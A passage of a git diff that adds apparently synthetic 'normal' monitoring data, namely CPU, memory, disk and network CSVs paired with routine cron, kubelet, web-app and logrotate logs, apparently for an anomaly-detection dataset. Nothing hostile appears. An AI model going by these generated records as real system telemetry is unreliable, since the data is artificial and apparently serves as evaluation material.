10:04:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:04:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:04:25 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:04:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:35 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:04:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:04:50 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:04:55 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:05:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:05:15 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:05:20 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:05:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:05:40 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:05:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:06:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:06:05 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:06:10 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:06:30 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:06:35 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:06:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:06:55 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:07:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:07:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:07:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:07:20 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:07:25 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_2/norm_2_4.csv b/norm_dataset/scenario_2/norm_2_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..89766982a02f0ecd9cd64947ad4ce826b108b21f --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03 10:00:00+00:00,14.18,42.54,29.36,1.2,0.86 +2025-07-03 10:00:05+00:00,19.79,42.35,29.48,1.21,0.7 +2025-07-03 10:00:10+00:00,16.04,41.32,33.11,0.58,0.95 +2025-07-03 10:00:15+00:00,11.35,39.79,25.51,1.32,0.94 +2025-07-03 10:00:20+00:00,15.73,40.49,35.95,1.19,0.4 +2025-07-03 10:00:25+00:00,15.0,42.63,20.4,1.31,0.66 +2025-07-03 10:00:30+00:00,15.23,42.81,32.74,1.16,0.78 +2025-07-03 10:00:35+00:00,12.84,33.99,32.65,1.03,0.97 +2025-07-03 10:00:40+00:00,14.54,39.59,25.68,1.06,0.91 +2025-07-03 10:00:45+00:00,17.1,43.8,30.43,1.28,0.83 +2025-07-03 10:00:50+00:00,12.41,40.56,23.22,0.71,0.79 +2025-07-03 10:00:55+00:00,12.23,36.01,25.87,1.27,0.97 +2025-07-03 10:01:00+00:00,16.74,41.5,28.06,0.94,0.76 +2025-07-03 10:01:05+00:00,14.35,39.93,30.57,1.11,0.58 +2025-07-03 10:01:10+00:00,14.68,38.4,35.18,1.05,0.86 +2025-07-03 10:01:15+00:00,14.73,43.07,29.38,1.04,0.34 +2025-07-03 10:01:20+00:00,14.92,41.28,30.19,0.65,0.97 +2025-07-03 10:01:25+00:00,11.81,41.42,37.64,0.91,0.93 +2025-07-03 10:01:30+00:00,16.36,39.85,37.56,1.04,0.45 +2025-07-03 10:01:35+00:00,11.37,43.95,28.12,0.45,0.8 +2025-07-03 10:01:40+00:00,17.09,42.79,39.56,0.96,1.22 +2025-07-03 10:01:45+00:00,12.21,41.66,33.79,1.16,0.72 +2025-07-03 10:01:50+00:00,15.28,39.95,28.72,0.95,0.57 +2025-07-03 10:01:55+00:00,14.69,40.24,38.36,0.81,0.83 +2025-07-03 10:02:00+00:00,12.48,35.43,33.08,1.07,0.47 +2025-07-03 10:02:05+00:00,13.54,39.43,33.19,0.75,0.38 +2025-07-03 10:02:10+00:00,11.39,45.64,34.23,0.97,0.61 +2025-07-03 10:02:15+00:00,16.76,41.62,32.12,0.55,0.72 +2025-07-03 10:02:20+00:00,14.28,39.41,32.85,1.02,0.84 +2025-07-03 10:02:25+00:00,12.76,39.35,30.34,1.08,0.89 +2025-07-03 10:02:30+00:00,15.3,35.15,37.39,0.77,0.98 +2025-07-03 10:02:35+00:00,15.03,44.15,24.23,0.65,0.56 +2025-07-03 10:02:40+00:00,15.36,39.13,35.36,1.17,0.32 +2025-07-03 10:02:45+00:00,10.44,41.76,29.32,1.09,1.14 +2025-07-03 10:02:50+00:00,12.85,40.4,41.48,0.72,0.9 +2025-07-03 10:02:55+00:00,16.05,42.44,34.81,1.3,0.59 +2025-07-03 10:03:00+00:00,14.46,41.96,35.85,1.32,0.73 +2025-07-03 10:03:05+00:00,10.75,37.72,20.56,1.04,1.12 +2025-07-03 10:03:10+00:00,13.64,41.12,31.47,1.28,1.05 +2025-07-03 10:03:15+00:00,16.04,37.39,31.19,1.06,0.54 +2025-07-03 10:03:20+00:00,13.86,39.18,27.06,0.78,0.9 +2025-07-03 10:03:25+00:00,15.98,39.84,27.34,0.77,1.14 +2025-07-03 10:03:30+00:00,13.24,42.38,38.87,0.88,0.86 +2025-07-03 10:03:35+00:00,15.07,36.32,35.4,1.11,0.81 +2025-07-03 10:03:40+00:00,15.95,37.12,39.06,0.8,0.9 +2025-07-03 10:03:45+00:00,68.63,39.95,91.97,1.15,0.73 +2025-07-03 10:03:50+00:00,90.02,40.95,111.31,1.01,0.83 +2025-07-03 10:03:55+00:00,53.75,40.64,76.99,1.05,0.84 +2025-07-03 10:04:00+00:00,15.17,34.3,22.91,0.95,0.87 +2025-07-03 10:04:05+00:00,13.12,39.68,27.42,0.93,0.78 +2025-07-03 10:04:10+00:00,15.56,34.88,26.03,0.82,0.76 +2025-07-03 10:04:15+00:00,12.82,41.77,31.65,1.07,0.62 +2025-07-03 10:04:20+00:00,15.31,39.23,25.63,0.77,0.43 +2025-07-03 10:04:25+00:00,17.18,41.31,32.55,1.09,0.86 +2025-07-03 10:04:30+00:00,17.81,41.2,34.02,0.86,0.76 +2025-07-03 10:04:35+00:00,13.6,42.23,25.54,1.07,0.58 +2025-07-03 10:04:40+00:00,17.04,43.54,32.15,0.83,0.73 +2025-07-03 10:04:45+00:00,18.35,46.02,42.32,0.7,1.1 +2025-07-03 10:04:50+00:00,16.89,36.4,29.05,0.98,0.9 +2025-07-03 10:04:55+00:00,14.91,44.61,40.18,1.18,1.02 +2025-07-03 10:05:00+00:00,17.1,38.03,26.18,1.09,0.6 +2025-07-03 10:05:05+00:00,13.9,37.97,29.71,0.9,0.82 +2025-07-03 10:05:10+00:00,18.33,40.14,29.9,0.72,0.97 +2025-07-03 10:05:15+00:00,14.31,34.13,32.88,0.88,0.74 +2025-07-03 10:05:20+00:00,15.05,36.62,26.07,1.08,1.05 +2025-07-03 10:05:25+00:00,16.97,36.98,34.68,0.85,1.12 +2025-07-03 10:05:30+00:00,14.32,38.87,35.32,0.88,0.75 +2025-07-03 10:05:35+00:00,15.56,42.16,24.01,0.85,1.11 +2025-07-03 10:05:40+00:00,15.15,40.81,37.83,1.02,0.78 +2025-07-03 10:05:45+00:00,19.24,42.88,19.06,0.97,0.58 +2025-07-03 10:05:50+00:00,13.71,37.23,23.59,0.81,0.66 +2025-07-03 10:05:55+00:00,14.59,42.44,24.12,1.06,0.36 +2025-07-03 10:06:00+00:00,16.46,35.9,33.77,1.17,0.82 +2025-07-03 10:06:05+00:00,11.31,40.11,27.14,0.97,0.99 +2025-07-03 10:06:10+00:00,14.6,39.99,32.64,1.23,0.88 +2025-07-03 10:06:15+00:00,14.3,38.26,30.66,1.27,0.76 +2025-07-03 10:06:20+00:00,17.71,45.02,18.08,1.02,0.74 +2025-07-03 10:06:25+00:00,17.87,39.51,29.29,1.2,0.87 +2025-07-03 10:06:30+00:00,13.4,36.98,22.17,1.04,0.63 +2025-07-03 10:06:35+00:00,12.38,44.51,30.38,0.89,0.69 +2025-07-03 10:06:40+00:00,16.34,39.42,37.12,1.14,1.07 +2025-07-03 10:06:45+00:00,12.07,36.34,25.61,0.8,1.09 +2025-07-03 10:06:50+00:00,13.39,39.66,35.15,0.8,0.42 +2025-07-03 10:06:55+00:00,18.72,37.75,25.88,1.19,0.58 +2025-07-03 10:07:00+00:00,12.4,37.83,34.0,1.09,0.83 +2025-07-03 10:07:05+00:00,15.16,38.21,31.58,1.19,0.67 +2025-07-03 10:07:10+00:00,13.69,38.88,26.56,0.86,0.74 +2025-07-03 10:07:15+00:00,16.39,39.51,26.66,1.11,0.93 +2025-07-03 10:07:20+00:00,15.81,41.06,32.36,1.14,0.81 +2025-07-03 10:07:25+00:00,15.72,44.43,35.84,1.01,0.71 diff --git a/norm_dataset/scenario_2/norm_2_4.log b/norm_dataset/scenario_2/norm_2_4.log new file mode 100644 index 0000000000000000000000000000000000000000..30c6ad37a1837d04ec2bc81b52577a7d2559a84e --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_4.log @@ -0,0 +1,26 @@ +Jul 03 10:00:00 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:30 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:01:00 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:30 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:02:00 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:30 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:03:00 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:03:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:30 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:03:45 CRON[6215]: (root) CMD (run-parts /etc/cron.daily) +Jul 03 10:03:50 systemd[1]: Starting Log Rotation... +Jul 03 10:03:55 systemd[1]: logrotate.service: Succeeded. +Jul 03 10:04:00 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:04:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:30 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:05:00 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:30 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:06:00 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:06:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:30 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:07:00 web-app[1076]: GET /api/v1/health status=200 OK +Jul 03 10:07:00 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_2/norm_2_40.csv b/norm_dataset/scenario_2/norm_2_40.csv new file mode 100644 index 0000000000000000000000000000000000000000..798553449049234791c4bea71fa4e8f324d598d8 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_40.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.75,37.05,24.42,1.1,0.81 +2025-07-02T12:00:05Z,11.71,36.82,32.52,1.25,0.43 +2025-07-02T12:00:10Z,17.02,40.26,20.43,1.11,0.78 +2025-07-02T12:00:15Z,15.45,33.67,28.68,1.12,1.08 +2025-07-02T12:00:20Z,17.29,40.36,26.38,1.43,1.03 +2025-07-02T12:00:25Z,14.93,41.09,20.33,1.01,0.75 +2025-07-02T12:00:30Z,12.3,39.95,31.65,0.95,0.94 +2025-07-02T12:00:35Z,11.69,38.74,32.71,0.76,0.78 +2025-07-02T12:00:40Z,17.48,32.92,30.63,1.13,0.92 +2025-07-02T12:00:45Z,11.23,38.06,32.66,1.61,0.6 +2025-07-02T12:00:50Z,14.72,37.3,28.73,1.16,0.92 +2025-07-02T12:00:55Z,14.43,40.11,30.07,1.3,0.8 +2025-07-02T12:01:00Z,11.46,41.97,21.99,1.01,0.68 +2025-07-02T12:01:05Z,12.98,42.29,32.42,1.08,0.94 +2025-07-02T12:01:10Z,19.64,33.55,35.2,1.01,0.8 +2025-07-02T12:01:15Z,16.33,42.97,31.14,0.94,0.54 +2025-07-02T12:01:20Z,13.93,37.01,28.88,1.06,0.79 +2025-07-02T12:01:25Z,16.74,37.73,24.76,1.17,1.07 +2025-07-02T12:01:30Z,13.93,41.88,27.0,0.79,1.43 +2025-07-02T12:01:35Z,13.75,45.95,28.67,0.68,1.0 +2025-07-02T12:01:40Z,13.63,39.25,31.38,0.82,0.76 +2025-07-02T12:01:45Z,19.49,42.2,33.82,0.76,0.61 +2025-07-02T12:01:50Z,15.76,41.14,33.32,1.0,0.83 +2025-07-02T12:01:55Z,16.31,37.08,34.45,0.91,0.57 +2025-07-02T12:02:00Z,12.73,39.03,30.93,0.77,0.92 +2025-07-02T12:02:05Z,13.51,37.82,25.44,0.84,0.82 +2025-07-02T12:02:10Z,13.73,46.85,38.34,1.28,1.07 +2025-07-02T12:02:15Z,14.9,42.92,28.02,0.91,0.76 +2025-07-02T12:02:20Z,18.01,35.02,38.06,1.38,0.8 +2025-07-02T12:02:25Z,13.0,38.62,28.74,0.6,0.88 +2025-07-02T12:02:30Z,11.67,37.7,34.75,0.79,0.88 +2025-07-02T12:02:35Z,16.71,32.0,25.97,0.8,0.78 +2025-07-02T12:02:40Z,13.01,42.31,36.36,0.85,0.84 +2025-07-02T12:02:45Z,12.66,33.83,17.25,0.97,0.99 +2025-07-02T12:02:50Z,13.25,36.67,36.79,0.95,0.68 +2025-07-02T12:02:55Z,16.91,41.49,38.92,1.19,0.58 +2025-07-02T12:03:00Z,15.1,41.21,28.68,0.89,0.81 +2025-07-02T12:03:05Z,17.47,35.12,27.9,1.4,0.77 +2025-07-02T12:03:10Z,15.1,45.8,26.87,1.17,0.68 +2025-07-02T12:03:15Z,13.68,33.17,24.94,0.72,0.58 +2025-07-02T12:03:20Z,98.23,40.45,187.9,1.16,0.75 +2025-07-02T12:03:25Z,86.74,35.89,173.52,1.09,0.89 +2025-07-02T12:03:30Z,97.6,37.9,192.2,1.08,0.81 +2025-07-02T12:03:35Z,95.18,30.05,186.27,1.12,0.66 +2025-07-02T12:03:40Z,91.92,42.21,182.18,0.99,1.02 +2025-07-02T12:03:45Z,15.87,46.12,24.2,1.22,0.41 +2025-07-02T12:03:50Z,14.6,37.39,33.81,0.98,0.93 +2025-07-02T12:03:55Z,15.38,47.54,34.5,0.82,0.7 +2025-07-02T12:04:00Z,14.56,35.16,37.32,0.88,0.99 +2025-07-02T12:04:05Z,20.33,39.02,32.74,0.98,0.77 +2025-07-02T12:04:10Z,17.14,36.33,33.28,0.73,0.45 +2025-07-02T12:04:15Z,17.07,42.28,24.54,0.78,0.44 +2025-07-02T12:04:20Z,14.74,40.43,26.45,0.77,0.61 +2025-07-02T12:04:25Z,13.96,40.06,32.26,0.86,1.04 +2025-07-02T12:04:30Z,15.7,46.0,30.9,1.01,0.86 +2025-07-02T12:04:35Z,19.48,44.7,35.41,1.09,0.67 +2025-07-02T12:04:40Z,13.02,40.5,32.07,1.42,1.04 +2025-07-02T12:04:45Z,12.17,47.65,23.81,0.88,1.23 +2025-07-02T12:04:50Z,17.93,33.93,35.47,1.15,0.97 +2025-07-02T12:04:55Z,14.93,41.94,25.53,1.04,0.86 +2025-07-02T12:05:00Z,15.31,46.67,25.12,0.87,0.51 +2025-07-02T12:05:05Z,12.65,40.69,33.15,1.03,1.1 +2025-07-02T12:05:10Z,17.21,40.61,36.34,1.12,1.08 +2025-07-02T12:05:15Z,15.72,43.97,33.54,1.17,1.15 +2025-07-02T12:05:20Z,16.57,35.18,28.62,0.72,0.82 +2025-07-02T12:05:25Z,14.3,34.62,24.56,1.13,0.61 +2025-07-02T12:05:30Z,14.76,37.89,34.27,0.64,0.78 +2025-07-02T12:05:35Z,17.72,43.04,29.44,0.86,0.97 +2025-07-02T12:05:40Z,15.92,33.84,24.19,1.0,0.58 +2025-07-02T12:05:45Z,16.78,40.94,29.12,0.72,0.91 +2025-07-02T12:05:50Z,14.74,41.29,33.11,1.04,0.71 +2025-07-02T12:05:55Z,15.2,38.67,38.32,0.97,0.68 +2025-07-02T12:06:00Z,22.39,42.52,25.71,0.96,0.46 +2025-07-02T12:06:05Z,14.54,35.81,25.45,0.88,0.83 +2025-07-02T12:06:10Z,16.84,32.35,33.71,1.37,0.93 +2025-07-02T12:06:15Z,17.98,42.99,24.47,0.68,1.09 +2025-07-02T12:06:20Z,14.02,28.77,29.09,0.75,0.5 +2025-07-02T12:06:25Z,15.05,40.94,28.09,1.07,1.01 +2025-07-02T12:06:30Z,17.94,41.28,34.03,1.11,0.81 +2025-07-02T12:06:35Z,14.89,37.66,34.8,1.16,0.82 +2025-07-02T12:06:40Z,13.11,36.97,25.42,1.16,0.81 +2025-07-02T12:06:45Z,17.85,38.56,35.79,1.76,0.62 +2025-07-02T12:06:50Z,13.98,39.72,29.45,0.9,1.07 +2025-07-02T12:06:55Z,12.22,40.65,33.63,1.17,1.16 +2025-07-02T12:07:00Z,17.98,41.46,30.73,1.13,0.73 +2025-07-02T12:07:05Z,10.94,39.1,35.53,1.16,0.65 +2025-07-02T12:07:10Z,11.96,40.85,25.47,0.87,0.78 +2025-07-02T12:07:15Z,17.97,48.88,35.25,0.78,0.7 +2025-07-02T12:07:20Z,15.23,48.71,33.09,1.04,0.9 +2025-07-02T12:07:25Z,12.18,40.75,29.87,1.2,0.81 diff --git a/norm_dataset/scenario_2/norm_2_40.log b/norm_dataset/scenario_2/norm_2_40.log new file mode 100644 index 0000000000000000000000000000000000000000..868d6176a72ba3484404705d33054a65de693c6e --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_40.log @@ -0,0 +1,90 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:20 systemd[1]: Starting log rotation... +Jul 02 12:03:25 logrotate[6789]: compressing /var/log/syslog +Jul 02 12:03:30 logrotate[6789]: compressing /var/log/syslog +Jul 02 12:03:35 logrotate[6789]: compressing /var/log/syslog +Jul 02 12:03:40 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_2/norm_2_41.csv b/norm_dataset/scenario_2/norm_2_41.csv new file mode 100644 index 0000000000000000000000000000000000000000..c3cacc823c5920a32643f3eb23a1adee698d20ff --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_41.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,15.729259498617424,40.827872525975245,20.720066335728188,1.20184747881993,1.1780048536356005 +2025-08-22T14:00:05Z,11.885633171359718,38.14417229219208,31.394547793231972,1.1117435931069006,0.8042231575052013 +2025-08-22T14:00:10Z,11.116352721666217,43.10838595161537,22.539242048512445,1.002711070870356,0.7943674825204788 +2025-08-22T14:00:15Z,17.148258412248463,41.642490440384954,24.38294284859284,0.8987934311881883,1.2221747974753636 +2025-08-22T14:00:20Z,11.683082424433188,39.66978506721845,22.233949603068318,1.075762781301432,1.369298590218508 +2025-08-22T14:00:25Z,10.993389604843745,39.83675501049087,21.280288454256805,1.4908619476924632,1.1940644512382244 +2025-08-22T14:00:30Z,19.546263297233157,39.42374801978879,30.94977046912293,0.5072284791336625,0.5952137769268583 +2025-08-22T14:00:35Z,14.625363482097075,39.01618559902448,33.8474521197098,0.6374230949236966,0.9767509705318824 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+2025-08-22T14:06:40Z,15.02566689697056,35.3828088344186,34.08303558471666,0.9170066656773553,0.6501218785753773 +2025-08-22T14:06:45Z,10.666905276387546,35.08209867636395,20.925365476448185,0.8602335040608374,1.460689024932046 +2025-08-22T14:06:50Z,14.971163336432744,35.346503508380735,20.848326288332927,1.145151609330994,1.2200716357115668 +2025-08-22T14:06:55Z,12.369800772254923,37.22090648816592,34.796416850375536,1.3222937624802213,0.6491184137081488 +2025-08-22T14:07:00Z,14.4603627444563,36.03738634784751,27.640017625971293,1.2611375830346452,0.7387293523796238 +2025-08-22T14:07:05Z,18.15915389645634,38.43439241021406,22.250030531743302,1.3826385884297947,1.1964361660950837 +2025-08-22T14:07:10Z,12.488815202057568,36.248938973257005,34.81502178609786,1.4894740608465464,1.22482865592719 +2025-08-22T14:07:15Z,16.456412337479268,42.24722245738386,21.83376244169449,0.5215922699996834,0.8393948478104205 +2025-08-22T14:07:20Z,14.947698498993276,39.75112314076072,39.37401112838057,0.8715111631798389,0.8153365470845373 +2025-08-22T14:07:25Z,16.983907231576296,35.883117023970975,23.710342895304592,1.4673497340446664,1.1529048589651465 diff --git a/norm_dataset/scenario_2/norm_2_41.log b/norm_dataset/scenario_2/norm_2_41.log new file mode 100644 index 0000000000000000000000000000000000000000..2a9c3f93f167c8ec2750c1fc1146ae2bc14deb7e --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_41.log @@ -0,0 